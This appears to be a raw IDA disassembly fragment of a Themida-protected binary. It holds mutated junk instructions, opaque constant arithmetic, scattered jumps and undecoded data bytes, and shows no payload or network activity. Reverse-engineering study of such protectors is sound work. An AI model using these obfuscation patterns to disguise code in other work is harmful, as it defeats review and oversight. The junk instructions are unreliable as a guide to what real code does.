		add	ecx, 6F0695CEh
		sub	ebx, ecx
		pop	ecx
		add	eax, ebx
		pop	ebx
		push	4E74h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7ED711B8h
		add	esi, 1
		push	ecx
		push	314Ah
		mov	[esp], edx
		mov	edx, 4C200AAAh
		sub	edx, 0FFFFFFFFh
		or	edx, 1FA465BCh
		push	ebp
		mov	ebp, 18E24C1Fh
		add	ebp, 34A3CEC2h
		and	edx, ebp
		jmp	loc_54E323
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0EB88241Ch, 595BDE88h, 34FFF588h,	0C4815A24h
		dd 4, 0E9E88850h, 3616h, 0C8738ABFh, 8BF80111h,	8952243Ch
		dd 4BF57E2h, 0E9000000h, 1129Bh, 8B240C33h, 66642424h
		dd 24E90289h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_544FFB:				; CODE XREF: Themida_:0054D883j
		push	esi
		mov	esi, 19401FFBh
		inc	esi
		shl	esi, 1
		jmp	loc_548E73
; ---------------------------------------------------------------------------

loc_545009:				; CODE XREF: Themida_:00542E7Fj
		xor	[esp], dx
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 6BFC5C4Bh, 0CF8E94Ah, 0C4830001h, 4EC8304h, 0BF243C89h
		dd 16D56B04h, 815FFD09h, 0D57B28EDh, 0CF4EE916h, 2C89FFFFh
		dd 37F9BD24h, 0B9515379h, 65292276h, 0F181D9F7h, 47B84D23h
		dd 0ED8AE9h, 59C88900h,	0B12BD55h, 0E8010054h, 681E9h
		dd 30EE8100h, 108C73Ah,	30C681C6h, 8308C73Ah, 148904ECh
		dd 677FBA24h, 0C28114C6h, 0FFFFFFFFh, 3E8BE9h, 7E5C000h
		dd 0C5FED5F6h, 8006EDC0h, 7DE970F5h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54509B:				; CODE XREF: Themida_:00549F86j
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55595A
; ---------------------------------------------------------------------------

loc_5450B9:				; CODE XREF: Themida_:0054B289j
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_5565E8
; ---------------------------------------------------------------------------

loc_5450C7:				; CODE XREF: Themida_:00545821j
		add	edi, 4
		add	edi, 2
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_552482
; ---------------------------------------------------------------------------
aULNsM		db 'U½,L¾NéßM',0
		dw 8100h
a_skbRkSs	db 'Ų_SŠÇàKÔSé',0
aI_0		db 'i',0
		align 4
dword_5450FC	dd 42474FFh, 0FF2434FFh, 34FF2434h, 0C4815824h,	4, 4C481h
					; DATA XREF: Themida_:00541978o
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_541F40
; ---------------------------------------------------------------------------
		db 81h
		dd 0BFC206F6h, 5EF5890Ah, 2B60C581h, 0FD017D85h, 2B60ED81h
		dd 79E97D85h
		db 0E1h, 2 dup(0FFh)
byte_54514B	db 68h			; DATA XREF: Themida_:00541A84o
		dd 1C28h, 68243489h, 46F7h, 68243C89h, 5B945A93h, 49E9535Fh
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545167:				; CODE XREF: Themida_:0054F8FFj
		shr	eax, 2
		sub	eax, 22DB63A3h
		jmp	loc_543738
; ---------------------------------------------------------------------------
		dd 33241C31h, 248B241Ch, 24348924h, 83241C8Bh, 34FF04C4h
		dd 209AE924h, 0D9F70000h, 2772E981h, 0E1C12963h, 9BF18107h
		dd 310A6B4Ch, 2AD5E9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5451A6:				; CODE XREF: Themida_:00541CBCj
		add	eax, edi
		jmp	loc_54B322
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0C7h
		dd 1107B52h, 7A8968EFh,	0C890000h, 0E7FEE924h, 0EA800000h
		dd 4FF2E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5451CA:				; CODE XREF: Themida_:0054AE23j
		add	edx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 4
		jmp	loc_556607
; ---------------------------------------------------------------------------
		dd 4C481h, 3AE90000h, 530000A5h, 4BBh, 245C0100h, 34FF5B04h
		dd 89565824h, 0A1E953E6h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5451FB:				; CODE XREF: Themida_:00542513j
		xor	ecx, 167DA927h
		xor	esi, ecx
		pop	ecx
		mov	eax, esi
		pop	esi
		dec	eax
		push	esi
		mov	esi, 23672D7Fh
		xor	eax, esi
		pop	esi
		jmp	loc_54B471
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BB241C89h, 2C273B9Dh, 0CB5DE9h, 24048700h, 2D97E9h
		db 0
; ---------------------------------------------------------------------------

loc_545231:				; CODE XREF: Themida_:005481CFj
		mov	ebp, 0BA478BAh
		add	eax, 6DBD5E5Fh
		sub	eax, 1EBF666Bh
		sub	eax, ebp
		add	eax, 1EBF666Bh
		push	esi
		jmp	loc_550505
; ---------------------------------------------------------------------------
		db 66h,	5Eh, 81h
		dd 2ECh, 14896600h, 4CBA6624h, 54296661h, 5A660424h, 24348B66h
		dd 0F3D5E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54526E:				; CODE XREF: Themida_:0054790Bj
		push	ebx
		pop	ebp
		pop	ebx
		add	ebx, 47EC7903h
		jmp	loc_542663
; ---------------------------------------------------------------------------
		dd 0FF241C89h, 0FF042474h, 535B2434h, 7A1FE954h, 0C2810000h
		dd 4, 8704C283h, 2D5C2414h, 30A5563Eh, 3E05F801h, 0FF30A556h
		dd 835F2434h, 79E904C4h, 810000A3h, 4C4h, 15CE8100h, 556D2649h
		dd 9C28DCBDh, 89E58171h, 81089A50h, 784C63E5h, 0D880E90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5452D6:				; CODE XREF: Themida_:005489B2j
		inc	ecx
		jmp	loc_54B81C
; ---------------------------------------------------------------------------

loc_5452DC:				; CODE XREF: Themida_:00548E94j
		and	edx, 36991095h
		push	ebx
		mov	ebx, 3FF8680Dh
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54CCC4
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 53h
		dd 0F5658DBBh, 1EB8303h, 6806E3C1h, 6F0Fh, 0BF243C89h
		dd 0FFFFFFFFh, 35E95051h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545317:				; CODE XREF: Themida_:005548B5j
		add	ebx, 0FFFFFFFFh
		shr	ebx, 2
		sub	ebx, 1DEA91E1h
		push	3498h
		mov	[esp], ebp
		mov	ebp, ebx
		push	ebp
		sub	dword ptr [esp], 738E68E7h
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, 738E68E7h
		jmp	loc_54CE08
; ---------------------------------------------------------------------------

loc_54534F:				; CODE XREF: Themida_:005488A3j
					; DATA XREF: ___:off_43664Co
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		dd 4240481h, 8B000000h,	0C481241Ch, 4, 4C381h, 1BE90000h
		dd 8B0000F9h, 0C483241Ch, 1A37E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54537E:				; CODE XREF: Themida_:005534A4j
		pop	edi
		add	ebx, 50FC1B3Ch
		add	ebx, 0DED50B7h
		add	ebx, 4E682FDFh
		add	ebx, eax
		jmp	loc_54D05C
; ---------------------------------------------------------------------------

loc_545398:				; CODE XREF: Themida_:005549B3j
		sub	eax, 58413FD9h
		add	eax, ebx
		add	eax, 58413FD9h
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5516E7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 241C3300h, 33241C31h, 248B241Ch, 7DE6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5453C6:				; CODE XREF: Themida_:0054AF15j
		add	edx, 4
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edx
		push	edi
		mov	edi, 4
		jmp	loc_544A16
; ---------------------------------------------------------------------------

loc_545404:				; CODE XREF: Themida_:005562D0j
		mov	edi, [esp]
		jmp	loc_555AD6
; ---------------------------------------------------------------------------
		dd 565DEE31h, 0FA315E5Fh, 5F2434FFh, 4C481h, 0D5010000h
		dd 0E8ABE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545426:				; CODE XREF: Themida_:00546816j
		mov	ebp, 4
		mov	ebx, ebp
		pop	ebp
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		jmp	loc_5494E0
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
aPuO?ocissD	db 'PU½®?oc‰èé#¤',0
		align 2
word_54544A	dw 8B66h		; DATA XREF: Themida_:005418B8o
		dd 8068240Ch, 0E900000Bh, 2955h, 4C181h, 9A680000h, 89000015h
		dd 89502414h, 405E0h, 0BF570000h, 34274D92h, 0E6F78147h
		dd 0C1798C1Ch, 99E905E7h, 89FFFFEDh, 0B3B7241Ch, 885BFD30h
		dd 4FA7E9EEh, 0B9510000h, 6A8309DFh, 0F176E9h
		db 0
; ---------------------------------------------------------------------------

loc_54549D:				; CODE XREF: Themida_:00554D81j
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_547CB0
; ---------------------------------------------------------------------------
		dd 1411C781h, 7CE95382h, 8B0000C1h, 0C481240Ch,	4, 0E924048Fh
		dd 1761h, 0F759CD89h, 2B85E9DDh, 0C870000h, 5821E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5454DE:				; CODE XREF: Themida_:0054D55Ej
		mov	esi, eax
		jmp	loc_550738
; ---------------------------------------------------------------------------
aISui		db 'ˆÚ[éî›',0
		dd 2C48300h, 0E958C700h, 1679h,	1E9C500h, 83FFFFE5h, 0FF5102C1h
		dd 0FF042474h, 54E92434h, 10000ACh, 0F943E9D9h,	45B90000h
		dd 81262A4Ah, 0D5B5BFC1h, 85C681D9h, 81496D42h,	0B37287C6h
		dd 0E9CE0159h, 0F8C4h, 2D08E8C1h, 62272h, 8F7C181h, 0C1290DCAh
		dd 440ABB53h, 0EB811A21h, 58B07DB6h, 0A2F38143h, 29CCBACEh
		dd 51585BD9h, 0F503E9h,	0EE295B00h, 6855575Dh, 7D2B3999h
		dd 50D5F75Dh, 0CB8561B8h, 0E9C52912h, 0FFFFDC48h, 284265BDh
		dd 8EFCE91Ah, 0FC350000h, 1636048h, 24048BC7h, 0E904C483h
		dd 1135Ah, 0D8E9E830h, 89FFFFF2h, 0E950242Ch, 759Bh, 8105E2C1h
		dd 7FF204C2h, 8BD129D9h, 4AE92414h
		db 0D1h, 2 dup(0FFh)
byte_5455BB	db 66h			; DATA XREF: Themida_:00541864o
		dd 585450ADh, 405h, 8802E900h, 0C890000h, 4B924h, 4C010000h
		dd 0E9590424h, 2BC9h
; ---------------------------------------------------------------------------

loc_5455DC:				; CODE XREF: Themida_:0054C894j
		sub	edx, 7B15472Dh
		add	dword ptr [edx], 1
		mov	edx, [esp]
		add	esp, 4

loc_5455F1:				; CODE XREF: Themida_:005558A9j
		push	4FC8h
		mov	[esp], ebx
		jmp	loc_54368C
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 83000000h,	348704C6h, 0EC835C24h, 240C8904h
		dd 1417B850h, 1BB97F67h, 0E97F6714h, 0C86Ch, 888C781h
		dd 0C7814F01h, 913CBF1Bh, 3C8BFE89h, 0E1895124h, 4C181h
		dd 0C1810000h, 4, 5C240C87h, 5E1C7721h,	0FFC4CEE9h, 4AC181FFh
		dd 814E4E0Dh, 1A28F0C9h, 14DFE925h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545662:				; CODE XREF: Themida_:00546017j
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_551781
; ---------------------------------------------------------------------------
		db 1
		dd 6E95DEAh, 510000A7h,	0B3E95954h
		db 0Eh,	1, 0
byte_54567F	db 66h			; DATA XREF: Themida_:00541970o
		dd 5524048Bh, 0C5815D54h, 4, 787668h, 240C8900h, 41E068h
		dd 241C8900h, 2BBh, 0DF895700h,	89FB8953h, 4FE95BD9h, 81000033h
		dd 0AAFDE0C2h, 0E9D601CBh, 0B97Ah
; ---------------------------------------------------------------------------

loc_5456BC:				; CODE XREF: Themida_:0054905Cj
		sub	eax, edx
		pop	edx
		pop	edx
		push	eax
		mov	eax, 22606960h
		jmp	loc_5525E8
; ---------------------------------------------------------------------------

loc_5456CB:				; CODE XREF: Themida_:005431DDj
		mov	[esp], ebp
		push	4D5D2DF3h
		mov	ebp, [esp]
		add	esp, 4
		shl	ebp, 5
		xor	ebp, ebx
		jmp	loc_552739
; ---------------------------------------------------------------------------
		dw 2D5Dh
		dd 4F5807B5h, 0FFFFFF05h, 3E0C1FFh, 3504E8C1h, 0D1F0B41h
		dd 48BC201h, 84D9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545706:				; CODE XREF: Themida_:0054AB34j
		add	eax, edx
		pop	edx
		jmp	loc_54DE19
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 41812B5Eh, 5D90BE56h, 0CE811074h, 6B8E5F08h,	41BF5746h
		dd 2973DE3Dh, 0F3315FFEh, 6FE3815Eh, 0F74DF270h, 89ADE9D3h
		dd 515C0000h, 0C181E189h, 4, 8704E983h,	248B240Ch, 240C8924h
		dd 0CC7D28B9h, 246C8107h, 0F15B0E04h, 244C2945h, 24448104h
		dd 0F15B0E04h, 2434FF45h, 4C48159h, 81000000h, 10BF242Ch
		dd 4817AC6h, 1777124h, 2404291Dh, 13568h, 24348900h, 35B068h
		dd 24148900h, 7FB85053h, 3572F573h, 428520BAh, 804DC50Dh
		dd 2E0C159h, 0F85C0540h, 0C389353Fh, 5BDA8958h,	0FFD117E9h
		dd 58C189FFh, 2242BA52h, 0D3015B3Eh, 50CB295Ah,	3E2242B8h
		dd 58C3295Bh, 592434FFh, 104C483h, 298FE9DAh, 0C0830000h
		dd 0F1A6E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5457E6:				; CODE XREF: Themida_:005551F1j
		mov	ch, dh
		mov	edx, [esp]
		push	4DFBh
		jmp	loc_546158
; ---------------------------------------------------------------------------
		db 68h,	76h, 7Ch
		dd 815F28CDh, 5591DF7h,	0F6E7E976h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545806:				; CODE XREF: Themida_:00553270j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_54202E
; ---------------------------------------------------------------------------

loc_545818:				; CODE XREF: Themida_:00551A91j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5450C7
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0E3BB6624h, 0EBC16655h, 2EC8307h, 24148966h,	0BA66h
		dd 0E9DA2966h, 3DBAh, 0E9240489h, 0FFFFC2D3h
; ---------------------------------------------------------------------------

loc_54584C:				; CODE XREF: Themida_:0054A541j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_551FA2
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 9C3BE9h, 0D8685800h, 89000015h, 0E589242Ch
		dd 80268h, 0BA21E900h, 0E0890000h, 405h, 4C08300h, 8B240487h
		dd 31662424h, 0C0B70FC3h, 74F66866h, 0FFD30AE9h, 0E28952FFh
		dd 4C281h, 0E8E90000h
		db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5458AF:				; CODE XREF: Themida_:005440ADj
		mov	esi, 0D2F0EF85h
		add	eax, esi
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5504CD
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 8B542414h, 27E92414h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5458D7:				; CODE XREF: Themida_:005560F2j
		shr	eax, 0Eh
		jmp	loc_541CC1
; ---------------------------------------------------------------------------
		db 68h
		dd 739Eh, 42FB68h, 24248900h, 4240483h,	0AF9EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5458F5:				; CODE XREF: Themida_:005565EEj
		add	esi, edi
		sub	esi, 6FC01236h
		jmp	loc_548BBB
; ---------------------------------------------------------------------------

loc_545902:				; CODE XREF: Themida_:0055018Aj
		shl	cl, 3
		jmp	loc_54AF6E
; ---------------------------------------------------------------------------
		dw 525Ah
		dd 0A8CF32BAh, 5AD601DAh, 4BE9F209h
		db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_549AFE
; ---------------------------------------------------------------------------
aIuiSbj		db 'ˆãˆÙéBj',0
		align 4
		dd 4C381h, 0C3810000h, 4, 0F8B9E9h, 48D0F700h, 390DE9h
		db 0
; ---------------------------------------------------------------------------

loc_545945:				; CODE XREF: Themida_:0055238Bj
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_553F34
; ---------------------------------------------------------------------------

loc_54594E:				; CODE XREF: Themida_:00553E2Ej
		push	6C8B546Ah
		pop	ebp
		jmp	loc_54CCE4
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0DBh
		dd 8118301Fh, 301FDFF3h, 0E9DF0118h, 0FFFFE474h
; ---------------------------------------------------------------------------

loc_54596C:				; CODE XREF: Themida_:0055592Fj
		add	esp, 4
		and	eax, ebp
		pop	ebp
		shr	eax, 8
		jmp	loc_54375B
; ---------------------------------------------------------------------------
		dw 0C828h
		dd 24148B59h, 4C481h, 0EC810000h, 4, 81241C89h,	4ECh, 24148900h
		dd 88F8B450h, 1A6EE9E6h, 81580000h, 9268D3EAh, 81EA0161h
		dd 9268D3C2h, 9EA8161h,	8B084D58h, 0C483242Ch, 0D3C28104h
		dd 505EEA47h, 0C5689B8h, 58C22933h, 0C281C201h,	330C5689h
		dd 47D3EA81h, 99685EEAh, 89000038h, 10682404h, 89000005h
		dd 0CEBB241Ch, 0B8301E0Fh, 1D43232Dh, 1C8BD831h, 7C5AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5459FE:				; CODE XREF: Themida_:005483BBj
		pop	edi
		jmp	loc_555A22
; ---------------------------------------------------------------------------
aVsi		db 'Vé‰ê',0
		align 2
aSU		db '^é',8,'u',0
		align 10h
		dd 923E47BBh, 157BE972h, 0D9680000h, 89000024h,	4682414h
		dd 0FF000000h, 0E95A2434h, 128Dh
; ---------------------------------------------------------------------------

loc_545A30:				; CODE XREF: Themida_:00555A3Fj
		mov	ebp, 0FFE8FCF8h
		xor	esi, ebp
		pop	ebp
		mov	edi, esi
		pop	esi
		push	edx
		mov	edx, 736B3390h
		jmp	loc_5443A6
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 560939C1h, 1A18F181h, 0CE01AF1Fh, 4C68359h, 5C243487h
		dd 469A68h, 241C8900h, 0D397E9h
		db 0
byte_545A69	db 0FFh, 77h, 40h	; DATA XREF: Themida_:00541A58o
		dd 0FFC0AEE9h, 24048BFFh, 4C481h, 30680000h, 0E9000025h
		dd 0CBBDh, 0C810BC2Dh, 0C09CE937h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545A8E:				; CODE XREF: Themida_:0054E901j
		shl	edx, 5
		shr	edx, 6
		shr	edx, 2
		add	edx, 5D41B51Ch
		sub	edx, 94951B8h
		add	edx, 5AB6BD3Fh
		add	edi, 54C82C46h
		jmp	loc_5470CD
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 4BB24h, 0DD010000h, 24C1E9h, 0EB805A00h
		dd 0E7C380D1h, 0C098E9h
		db 0
; ---------------------------------------------------------------------------

loc_545AD5:				; CODE XREF: Themida_:005439C9j
		mov	edi, esi
		jmp	loc_55188B
; ---------------------------------------------------------------------------
		dd 5F2434FFh, 4C481h, 0BD550000h, 531A2590h, 23E68h, 243C8900h
		dd 0DF004CBFh, 27B95168h, 8128F842h, 3966DDF1h,	0F1814169h
		dd 631856B7h, 1DD2E181h, 5EE969CCh, 8100001Ah, 75430AC6h
		dd 242C8B4Ch, 4C481h, 0EE810000h, 21516B24h, 20F68146h
		dd 0E90E667Eh, 0B55Fh
; ---------------------------------------------------------------------------

loc_545B38:				; CODE XREF: Themida_:00551F6Fj
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_54A7E3
; ---------------------------------------------------------------------------
byte_545B41	db 0FFh, 77h, 38h	; DATA XREF: Themida_:00541A70o
		dd 0E7B9E9h, 51EA8100h,	55BB73F7h, 368ABF57h, 81E93171h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545B5B:				; CODE XREF: Themida_:00541B28j
		push	edx
		push	eax
		mov	ah, 0B9h
		jmp	loc_553A97
; ---------------------------------------------------------------------------

loc_545B64:				; CODE XREF: Themida_:0054C406j
		sub	esi, 13E722D0h
		jmp	loc_544797
; ---------------------------------------------------------------------------

loc_545B6F:				; CODE XREF: Themida_:00543BD9j
		xor	edi, 669A383Fh
		neg	edi
		shl	edi, 6
		jmp	loc_55577C
; ---------------------------------------------------------------------------
		db 89h
		dd 8783E9F5h, 1C890000h, 0E9515024h, 0FFFFD2F4h
; ---------------------------------------------------------------------------

loc_545B90:				; CODE XREF: Themida_:005566F9j
		add	esp, 4
		pop	edx
		xor	edx, 26954254h
		pop	ebp
		not	edx
		inc	edx
		jmp	loc_551561
; ---------------------------------------------------------------------------
		db 2Dh
		dd 116C5BF1h, 0F105C829h, 59116C5Bh, 2AFC68h, 5CA8E900h
		dd 88530000h, 5BD888D3h, 5058C188h, 0C788C888h,	0FFC79EE9h
		dd 24048BFFh, 4C481h, 94680000h, 89000071h, 58542404h
		dd 405h, 4E88300h, 31240433h, 4332404h,	0C895C24h, 4EC8324h
		dd 0BB241C89h, 0E481919h, 34FFD989h, 241C8B24h,	0E904C483h
		dd 8055h
; ---------------------------------------------------------------------------

loc_545C10:				; CODE XREF: Themida_:0054AC3Aj
		add	esp, 4
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_54D7C7
; ---------------------------------------------------------------------------

loc_545C3C:				; CODE XREF: Themida_:005486FFj
		or	eax, ecx
		pop	ecx
		inc	eax
		jmp	loc_54DC26
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 17h
		dd 1465010h, 17C381C3h,	58465010h, 0FFECD2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_545C59:				; CODE XREF: Themida_:0054FC75j
		sub	esp, 4
		jmp	loc_546A3C
; ---------------------------------------------------------------------------
		dd 786D68h, 242C8900h, 292AE9h,	4C48100h, 31000000h, 0BEA1E9C2h
		dd 0DEBBFFFFh, 2910D733h, 0E904245Ch, 5B7Fh, 3DF18149h
		dd 41227C2Bh, 7E22E981h, 0F1814619h, 80F3385Ah,	35EBEE81h
		dd 0CE29014Fh, 35EBBF57h, 0FE01014Fh, 23E5E9h
		db 0
; ---------------------------------------------------------------------------

loc_545CB5:				; CODE XREF: Themida_:0054DFE1j
		mov	[esp], esi
		jmp	loc_55204E
; ---------------------------------------------------------------------------
		db 0B0h, 5Bh, 80h
		dd 47E909C7h, 5900010Dh, 5A04E800h, 78E9EB2Ch
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_545CD3:				; CODE XREF: Themida_:0054F570j
		mov	[esp], eax
		xor	[esp], edx
		jmp	loc_554755
; ---------------------------------------------------------------------------
aI4Sv		db '‰4$évÜ',0
		align 2
		dw 875Dh
		dd 0A4E9243Ch
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545CEF:				; CODE XREF: Themida_:005432BFj
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C4h
		dd 4, 7CB42D48h, 0F2E949BDh, 10000DBh, 0D0F759C8h, 8DFFEB2Dh
		dd 8BC22124h, 0C4812404h, 4, 0FBECC281h, 8152FF57h, 4ECh
		dd 240C8900h, 5FCBE9h
		db 0
; ---------------------------------------------------------------------------

loc_545D4D:				; CODE XREF: Themida_:0054FF09j
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_54F201
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 0C9h
		dd 8015F180h, 0CB00A8F1h, 80C30059h, 0B60F8AEBh, 8734FFC0h
		dd 1A0768h, 0D1A9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_545D8A:				; CODE XREF: Themida_:0054702Fj
		push	ebp
		mov	ebp, 6AF75311h
		neg	ebp
		shl	ebp, 6
		jmp	loc_54EF23
; ---------------------------------------------------------------------------

loc_545D9A:				; CODE XREF: Themida_:0054BAF3j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54A4AF
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 593D3BC0h, 3BBCEF81h, 32E9593Dh, 0B5FFFFEEh,	0FFEE88A6h
		dd 0C8B2434h, 4C48124h,	0E9000000h, 4FACh, 34FFB204h, 0C4835924h
		dd 68726804h, 1C890000h, 66B4B724h, 2801B151h, 0C05966CFh
		dd 0E7C002EFh, 0B5515007h, 0C63CE918h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_545DFE:				; CODE XREF: Themida_:005465B2j
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0BAh
		jmp	loc_547718
; ---------------------------------------------------------------------------
		db 0F7h
aSd		db 'Óé¤}',0
		align 2
aR_0		db 'R²œ',0
		dw 0E9D4h
		dd 0FFFFE17Ah, 5C243C87h, 0FFFA01E9h, 35EE81FFh, 31D71F86h
		dd 0BB535EF2h, 66F12239h, 811CE9h
		db 0
; ---------------------------------------------------------------------------

loc_545E39:				; CODE XREF: Themida_:00554B6Aj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_551C80
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0BE56C229h, 56159A1h, 5B4EE681h, 0E6C1489Dh,	97CE8105h
		dd 81404979h, 5186C8C6h, 8BF229D3h, 0C4812434h,	4, 0E163E9h
		dd 68665A00h, 89666258h, 39E92414h, 580000C3h, 0FF04C483h
		dd 815D2434h, 4C4h, 0E418E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_545E9E:				; CODE XREF: Themida_:00554506j
		sub	ebp, 71367381h
		add	ebp, edi
		add	ebp, 71367381h
		pop	edi
		add	ecx, 41CD5E2Fh
		add	ecx, 6D0F64B5h
		add	ecx, ebp
		sub	ecx, 6D0F64B5h
		sub	ecx, 41CD5E2Fh
		pop	ebp
		jmp	loc_55692F
; ---------------------------------------------------------------------------
byte_545ECD	db 66h,	8Bh, 4		; DATA XREF: Themida_:00541A80o
aHbo		db '$h¡o',0
		align 2
		dw 1489h
		dd 148B5424h, 4C48124h,	53000000h, 0C381E389h, 4, 8704EB83h
		dd 895C241Ch, 0E954243Ch, 0C4CBh
; ---------------------------------------------------------------------------

loc_545EFC:				; CODE XREF: Themida_:005498C8j
		mov	[esp], ecx
		push	62ED47B7h
		pop	ecx
		push	50BDh
		mov	[esp], ebp
		push	eax
		push	esp
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	49EF78B6h
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_54FA95
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 86E90000h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_545F43:				; CODE XREF: Themida_:00552025j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_554196
; ---------------------------------------------------------------------------
		dd 0D92B8BB8h, 76B9E913h, 0B9510000h, 1, 0E959CB29h, 58F1h
		dd 0E9241C89h, 0E2D6h, 522BEB81h, 0EB815250h, 1DDF254Dh
		dd 4E9F301h
		db 4, 1, 0
; ---------------------------------------------------------------------------

loc_545F7F:				; CODE XREF: Themida_:0054CBACj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	ecx
		jmp	loc_5528EA
; ---------------------------------------------------------------------------
		db 0F6h
aSmt		db 'Öémt',0
		align 2

loc_545F96:				; CODE XREF: Themida_:0054438Bj
		not	esi
		sub	esi, 0B1187811h
		sub	edi, 5221057Dh
		sub	edi, esi
